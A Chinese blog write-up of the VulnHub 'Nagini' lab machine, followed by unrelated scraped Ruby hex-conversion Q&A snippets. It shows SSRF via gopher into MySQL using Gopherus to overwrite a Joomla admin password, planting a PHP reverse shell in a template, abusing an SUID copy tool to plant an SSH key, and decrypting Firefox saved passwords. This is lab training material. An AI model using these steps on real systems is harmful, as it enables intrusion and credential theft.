草庐IT

第十六次打靶

我想对你说 2023-03-28 原文

靶机介绍

1)靶机地址:https://download.vulnhub.com/harrypotter/Nagini.ova

2)靶机难度:中→高(打点较难)

3)打靶目标: 取得 root 权限 + 3 Flag

4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、HTTP3协议、域名绑定、SSRF漏洞(Gopher + Mysql)、Joomla漏洞、SSH公钥登录、浏览器密码还原

5)靶机简介:HTTP2的时代还没有全面到来,可本次的打靶课却不得不面对HTTP3,这是一种基于UDP协议的未来HTTP版本。本次这台靶机,无论是突破边界还是本地提权,都是那么的与众不同。搞定了HTTP3协议之后,才可以面对SSRF漏洞,这也是本次打靶的重点与难点。需要利用SSRF漏洞,通过Gopher协议与后端MySQL数据库进行通信,利用插入的SQL语句,对数据库进行查询和修改,甚至直接改掉CMS的管理员帐号密码。一旦控制CMS后台,总是有很多方法可以实现突破边界的目标。本次的靶机需要两次提权,在最后的提权阶段没有利用任何漏洞,而是直接从浏览器文件中还原出了管理员的帐号和密码,这通常是一种针对客户端的攻击手段。

打靶过程

1)主机发现

# arp-scan --interface=eth1 --localnet

2)全端口扫描

# nmap -p- 192.168.56.124

3)服务版本扫描

# nmap -p22,80 -sC -sV 192.168.56.124

4)访问靶机的IP地址的80端口:发现首页只是一个图片,且在源码中也未发现其他有用的信息

5)对目标web系统进行路径爬取

# dirsearch -u http://192.168.56.124

通过路径爬取,发现了一个joomla的CMS系统

6)访问爬取到的地址,同时在登录框出进行常见弱口令的尝试登录后,发现无法正常登录

http://192.168.56.124/joomla/

http://192.168.56.124/joomla/administrator/

7)指定文件扩展名进行路径的爬取

# dirsearch -u http://192.168.56.124 -f -e html,php,txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

爬取发现,在根目录下存在一个note.txt的文档,返回返回如下内容:提示通过htt3的方式访问域名quic.nagini.hogwarts

8)在hosts文件绑定域名

但是实际通过浏览器是不能访问网页的,根据note.txt中的提示:访问所有的页面都需要使用http3的协议类型,但是目前的浏览器都是不支持http3协议的。为了使用HTTP3协议访问域名,需要安装支持http3的客户端程序

9)安装quiche客户端

①下载软件包:https://github.com/cloudflare/quiche

②安装cargo组件

# apt install cargo

③安装cmake组件

# apt install cmake

④卸载系统自带的rustc

# apt purge rustc

⑤重新安装最新版本的rustc(选择1)

# proxychains curl --proto 'https' --tlsv1.2 -ssf https://sh.rustup.rs |sh

⑥执行环境变量

# source "$HOME/.cargo/env"

⑦运行cargo默认实例的文件

# proxychains cargo build --examples

⑧对前面所有安装的命令进行检查

#cargo test

10)利用http3的客户端去访问目标靶机

#cd ./target/debug/examples
#./http3-client https://quic.nagini.hogwarts

根据上述提示可知,存在一个/internalResourceFeTcher.php的文件。且在目标服务器上存在一些.bak的备份配置文件

11)通过浏览器发现可以打开该页面

http://192.168.56.124/internalResourceFeTcher.php

根据提示可知,通过如上表单可以访问内部网络资源

①通过file协议是否能查看到本机的文件

file:///etc/passwd

②查看当前靶机自己的http服务

通过上述两次测试,可确定在该表单位置存在一个ssrf的漏洞

SSRF漏洞:服务器端请求伪造漏洞,通过该漏洞攻击者可以向服务器端提交一些内部的、后端的资源的路径,让存在ssrf漏洞的web应用作为一个跳板去访问后端的资源,即让服务端向后端资源发起一个伪造的请求。所以ssrf漏洞被经常用于攻击者攻击企业内部网络的基础架构

12)使用gophor协议合后端的服务或应用进行交互(后端服务是基于tcp协议的)

gopher://127.0.0.1:22

通过使用gopher协议访问目标服务器的22端口,返回了上述信息,说明通过gopher协议是可以请求后端应用的。此时可以对内网的地址进行端口扫描,若返回页面是快速的,说明该端口关闭,如果返回页面缓慢,说明端口是开放的

13)根据第十步的提示可知,有可能在服务器存在配置文件的备份文件,互联网搜索joomla该CMS的配置文件所在的路径,猜测是否存在.bak的配置文件

http://192.168.56.124/joomla/configuration.php.bak

15)打开下载的配置文件备份,查看发现数据库的相关信息

16)根据返回的信息,通过gopher协议去请求目标靶机的3306端口,页面返回速度慢,说明目标靶机开放了3306端口

gopher://127.0.0.1:3306

17)通过gophor使用配置文件中获取到的mysql的数据库的用户名和密码,连接至数据库,查询到web应用的后台登录账号

①下载工具:利用该工具可以利用gopher协议类型,结合ssrf漏洞,向目标服务器发送各种后端的协议指令请求

# proxychains git clone https://github.com/tarunkant/Gopherus.git

②使用工具查询

# ./gopherus.py --exploit mysql
# cd Gopherus
# ./gopherus.py --exploit mysql
Give MySQL username: goblin                            #输入连接数据库的用户名
Give query to execute: use joomla; show tables;        #输入查询语句

执行完上述操作后,就会生成一串gopher协议的payload,使用padyload在表单中进行提交,即可返回数据库中所有表的信息(需要多次提交,才会回显)

③更具user表查询用户名和密码

# ./gopherus.py --exploit mysql
Give MySQL username: goblin                            #输入连接数据库的用户名
Give query to execute: use joomla; use joomla; select * from joomla_users;    

18)修改site_admin用户的密码

# echo -n 123|md5sum                                #先通过md5生成一串密文信息
202cb962ac59075b964b07152d234b70  -
# ./gopherus.py --exploit mysql
Give MySQL username: goblin                            #输入连接数据库的用户名
Give query to execute: use joomla; update joomla_users SET password='202cb962ac59075b964b07152d234b70'  WHERE username='site_admin'

使用上述生成的payload在表单中多次提交,保障修改密码操作被执行

19)使用用户名site_admin和密码123成功登录至web系统后台

http://192.168.56.124/joomla/administrator/

20)进入后台后,查看模板信息,在已存在的模板中,修改或者添加反弹shell的源码信息

①获取到php的反弹shell的代码

# cat /usr/share/webshells/php/php-reverse-shell.php

②修改模板中的error.php文件,并保存

21)访问反弹shell的php页面,并在kali主机进行监听

浏览器:http://192.168.56.124/joomla/templates/beez3/error.php
kali:
# nc -lvvp 4444

22)突破边界后,在/var/www/html下查到第一个flag信息

$ cd /var/www/html
$ cat horcrux1.tx

23)在home目录下存在两个目录,进入hermoine用户目录,查看到第二个flag文件,但是无权限打开,进入snape目录,查看到.creds.txt文件,查看文件内容是一串base64编码的字符串,解码后为Love@lilly

$ cd /home/
$ ls -l
$ cd hermoine
$ ls -l
$ cat horcrux2.txt
$ cd ../snape
$ ls -la
$ cat .creds.txt
# echo TG92ZUBsaWxseQ==  | base64 -d 
Love@lilly

24)通过用户名snape和密码Love@lilly可成功登入到目标靶机

# ssh snape@192.168.56.124

25)通过snape用户登录成功后,在/home/hermoine/bin目录下发现了su_cp的可执行文件,且该文件开启了SUID权限,属主为hermoine,即该文件运行时会以hermoine用户的身份去运行

26)通过简单查看该可执行文件的帮助,发现该命令主要用于拷贝文档

27)此时可以在kali主机上生成ssh的公钥,然后以snape用户的权限将公钥拷贝到目标靶机上,然后利用su_cp命令将kali主机的公钥从snape用户拷贝到hermoine用户中。完成后kali即可直接通过公钥登录至目标靶机,不需要密码

kali:
# ssh-keygen
#scp .ssh/id_rsa.pub snape@192.168.56.124:~

靶机:
snape@Nagini:$ ls -l
snape@Nagini:$ mv id_rsa.pub authorized_keys
snape@Nagini:$ chmod 640 authorized_keys 
snape@Nagini:$ cd /home/hermoine/bin
snape@Nagini:$ ./su_cp /home/snape/authorized_keys /home/hermoine/.ssh/
snape@Nagini:$ /home/hermoine/bin$ ls -l /home/hermoine/.ssh/

28)将公钥传输到目标靶机后,即可成功通过ssh使用hermoine用户无密码登录至目标靶机,获取到第二个flag

# ssh hermoine@192.168.56.124

29)通过信息搜集发现在hermoine用户的家目录下存在一个.mozilla的文件夹,该文件夹是在linux操作系统中使用firefox浏览器后,在当前用户的加目录下就会生成给.mozilla目录,进入该文件夹,可以发现当前浏览器中的安装的扩展包、配置信息及包括浏览器登录某些web应用后记录下的用户名和密码信息

①先使用hermoine账号,将.mozilla文件夹拷贝到kali主机

# scp -rp hermoine@192.168.56.124:/home/hermoine/.mozilla /tmp
# ls -la /tmp

②安装可以从firefox浏览器中提取信息的工具firefox_decrypt

下载地址:https://github.com/unode/firefox_decrypt
# unzip firefox_decrypt-master.zip
# rm -rf firefox_decrypt-master.zip
# cd firefox_decrypt-master
# ls
# python3 firefox_decrypt.py /tmp/.mozilla/firefox

30)直接通过获取到的用户名和密码,可直接使用ssh登陆至靶机,获取到第三个flag及root权限

# ssh root@192.168.56.124

有关第十六次打靶的更多相关文章

  1. ruby - 在 Ruby 中将字符串转换为十六进制 - 2

    我正在尝试使用Ruby将二进制文件转换为十六进制。目前我有以下内容:File.open(out_name,'w')do|f|f.puts"constunsignedintmodFileSize=#{data.length};"f.puts"constcharmodFile[]={"first_line=truedata.bytes.each_slice(15)do|a|line=a.map{|b|",#{b}"}.joiniffirst_linef.putsline[1..-1]elsef.putslineendfirst_line=falseendf.puts"};"end这是以下代

  2. ruby - 十六进制字符串到 Ruby 中的 signed int 转换 - 2

    如何在ruby​​中将十六进制字符串转换为32位有符号整数?例如a="fb6d8cf1"#hexstring[a].pack('H*').unpack('l')#fromthedocumentationitunpackstoits32bitsignedint它转换为-242455045但实际答案是-76706575你能指出我做错了什么吗? 最佳答案 您似乎遇到了字节序问题。这给出了期望的结果:[a].pack("H*").unpack("l>")#=>[-76706575]["038a67f90"].pack("H*").unpac

  3. ruby - 如何验证字符串是 Ruby 中的正确十六进制值? - 2

    我正在用Ruby编写一个6502汇编器。我正在寻找一种方法来验证字符串形式的十六进制操作数。我知道String对象提供了一个“十六进制”方法来返回一个数字,但是我遇到了一个问题:"0A".hex#=>10-avalidhexadecimalvalue"0Z".hex#=>0-invalid,producesazero"asfd".hex#=>10-Why10?Iguessitreads'a'firstandstopsat's'?输入一堆乱码会得到一些奇怪的结果。我需要的是一种方法来首先验证该值是合法的十六进制字符串。我在玩正则表达式,并意识到我可以做到这一点:trueif"0A"=~/

  4. ruby - 仅安全随机十六进制数字 - 2

    尝试使用SecureRandom类Rails生成随机数字。我们能否使用SecureRandom.hex创建一个仅包含数字而不含字母的随机数。例如:代替SecureRandom.hex(4)=>"95bf7267"应该给SecureRandom.hex(4)=>"95237267" 最佳答案 查看SecureRandom的API:http://rails.rubyonrails.org/classes/ActiveSupport/SecureRandom.html我相信您正在寻找一种不同的方法:#random_number。Secur

  5. ruby - 在 Ruby 中将二进制值转换为十六进制 - 2

    我有一种情况需要在Ruby中将二进制值转换为十六进制。我的情况如下:当bin="0000111"时,我的输出应该是:hex="07"。当bin="010001111"时,我的输出应该是:hex="08f"。有人可以帮我解决这个问题吗?提前致谢。 最佳答案 怎么样:>>"0x%02x"%"0000111".to_i(2)#=>"0x07">>"0x%02x"%"010001111".to_i(2)#=>"0x8f"编辑:如果您不希望输出为0x..而只是0..则省略第一个x格式字符串。 关于

  6. Ruby:正则表达式中的十六进制 - 2

    我需要在Ruby(实际上是Rails)程序的正则表达式中匹配md5校验和。我在某处发现我可以将十六进制字符串与\h序列匹配,但我找不到链接了。我正在使用该序列并且我的代码在Ruby1.9.2中运行。我什至可以让它在普通IRB下工作(因此它不是Rails扩展)。ruby-1.9.2-p180:007>"123abcdf"=~/^\h+$/;$~=>#ruby-1.9.2-p180:008>"123abcdfg"=~/^\h+$/;$~=>nil但是我的IDE将该表达式标记为错误,我找不到任何引用该序列的引用。在任何环境/版本下,RubyRegex中的\h序列是否合法,或者我应该相信我的想

  7. Ruby,检查字符串是否都是有效的十六进制字符? - 2

    我必须检查4个字符的字符串是否都是有效的十六进制,我发现了另一个问题,它准确地演示了我想做什么,但它是Java:RegextocheckstringcontainsonlyHexcharacters我怎样才能做到这一点?我阅读了有关正则表达式的ruby​​文档,但我不明白如何根据此匹配项返回true或false? 最佳答案 在ruby​​正则表达式中,\h匹配一个十六进制数字,\H匹配一个非十六进制数字。所以!str[/\H/]就是您要查找的内容。 关于Ruby,检查字符串是否都是有效的

  8. ruby - 在 Ruby 中将十六进制摘要转换为 base64 - 2

    我有一个文件的MD5十六进制摘要的字符串表示,我想将其转换为base64,以便在上传时使用Content-MD5HTTPheader。是否有比以下更清晰或更有效的机制?defhex_to_base64_digest(hexdigest)[[hexdigest].pack("H*")].pack("m").stripendhex_digest="65a8e27d8879283831b664bd8b7f0ad4"expected_base64_digest="ZajifYh5KDgxtmS9i38K1A=="raise"Doesnotmatch"unlesshex_to_base64_di

  9. ruby - 在 Ruby 中解码十六进制字符串 - 2

    这个问题在这里已经有了答案:关闭10年前。PossibleDuplicate:Hextobinaryinruby在Python中,我可以执行以下操作:>>>str='000E0000000000'>>>str.decode('hex')'\x00\x0e\x00\x00\x00\x00\x00'如果我必须在ruby​​中实现相同的输出,我可以调用哪个?to_s(16)试过了,好像不行。我需要采用该特定格式的输出,因此我希望得到以下内容:"\\x00\\x0e\\x00\\x00\\x00\\x00\\x00"

  10. ruby - 在ruby中将十六进制数转换为二进制数 - 2

    我正在尝试将十六进制值转换为二进制值(十六进制字符串中的每一位都应具有等效的四位二进制值)。我被建议使用这个:num="0ff"#(sayforeg.)bin="%0#{num.size*4}b"%num.hex.to_i这给了我正确的输出000011111111。我对它的工作原理感到困惑,尤其是%0#{num.size*4}b。有人可以帮我解决这个问题吗? 最佳答案 您还可以:num="0ff"num.hex.to_s(2).rjust(num.size*4,'0')您可能已经想通了,但是,num.size*4是您要用0填充输出的

随机推荐